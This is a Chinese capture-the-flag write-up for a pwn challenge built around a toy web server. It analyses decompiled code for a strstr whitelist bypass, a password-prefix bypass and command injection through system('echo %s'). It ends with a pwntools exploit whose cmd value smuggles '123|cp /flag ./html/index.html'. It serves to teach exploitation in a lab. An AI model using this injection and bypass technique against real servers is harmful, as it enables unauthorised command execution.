前言
我是菜狗,比赛场上没搞出来,赛后让pwn爹指导的
非传统pwn题,题目写了一个web服务器
如果我能多学一点web的东西是不是就能做出来了,赛场上连payload怎么写都不会
题目分析
__int64 __fastcall in_whitelist(const char *a1) { int i; char *needle[6];
needle[5] = __readfsqword(0x28u); needle[0] = "Blue"; needle[1] = "Red"; needle[2] = "Yellow"; needle[3] = "Green"; for ( i = 0; i <= 3; ++i ) { if ( strstr(a1, needle[i]) ) return 1LL; } return 0LL; }
|
这里有一个白名单绕过,可以看到是strstr函数,并不是strcmp
不了解strstr这个函数,以为和strcmp是一样的
strstr函数
strstr 函数是 C 标准库中的一个字符串处理函数,它的作用是 查找一个子字符串在另一个字符串中第一次出现的位置。具体来说,strstr 会返回目标字符串中第一次出现子字符串的位置,如果未找到子字符串,则返回 NULL。
|
函数原型:
char *strstr(const char *haystack, const char *needle);
|
参数:
- **
haystack**:要搜索的目标字符串。
- **
needle**:要查找的子字符串。
返回值:
- 如果在
haystack 中找到 needle,strstr 返回指向 haystack 中首次匹配位置的指针。
- 如果未找到
needle,则返回 NULL。
简单来说只要有这个子字符串就行,就不会返回null。
继续分析
__int64 __fastcall rep_dispatcher(const char **a1) { int v2; void (__fastcall *v3)(const char **); __int64 v4;
v3 = 0LL; v4 = rpm_list; if ( !in_whitelist(*a1) ) goto LABEL_16; if ( dword_604D10 > 0 ) { while ( v4 ) { v2 = strlen(*v4); if ( !strncmp(*a1, *v4, v2) ) { v3 = *(v4 + 8); break; } v4 = *(v4 + 16); } } if ( v3 ) { v3(a1); return 0LL; } else { LABEL_16: if ( **a1 ) bomb1(a1); else index_html(a1); return 0LL; } }
|
其中rpm_list中有我们的gift,那这样我们请求的路由就很明显了,前四个字符是gift,后面随便跟着Blue或者Red什么的都可以。
后面的gift函数里面也是唬人的。
__int64 __fastcall getPassword(const char *a1, char *a2) { size_t v2; int i;
strcat(a2, "p-"); for ( i = 0; i <= 20; ++i ) { v2 = strlen(((i << 7) + 6308480)); if ( !strncmp(a1, &users[128 * i], v2) ) { strncat(a2, &users[128 * i + 64], 0x18uLL); return 0LL; } } return 1LL; }
|
关键就是这里的getpassword函数,只有这个是程序算的,其他的我们都能随便绕。
很显然这里要求我们用户名和系统里的相等才会在password后面连接其他的字符串,但是我们完全不必让用户名和系统的相等,随便写一个就行了,最后password就只有p-
还有最后的getshell的地方
if ( !strcmp(s1, s2) ) { if ( cmd ) { fd = open("html/congratulation.html", 114); for ( i = read(fd, &dest[n], 104857600 - n); i > 0; i = read(fd, &dest[n], 104857600 - n) ) n += i; snprintf(command, 0xC8uLL, "echo %s", cmd); system(command); } }
|
就是在你给的cmd前面加上一个echo,那样我们可以使用管道符来绕过这里,比如 123|
exp
pwn爹给的exp,我只是稍微改了一下
from pwn import * context.log_level = 'debug' ru = lambda a: io.recvuntil(a, drop=True) r = lambda n: io.read(n) sla = lambda a,b: io.sendlineafter(a,b) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) s = lambda a: io.send(a) io = remote("127.0.0.1",5777) payload = b'GET /giftBlue HTTP/1.1' username = b'1' password = b'p-' token = b'token-FierceDragon25bba' payload += b'?username='+username payload += b'&password='+password payload += b'&token='+token payload += b'&cmd=123|cp /flag ./html/index.html' s(payload) io.interactive()
|
最后拿浏览器访问一下就可以了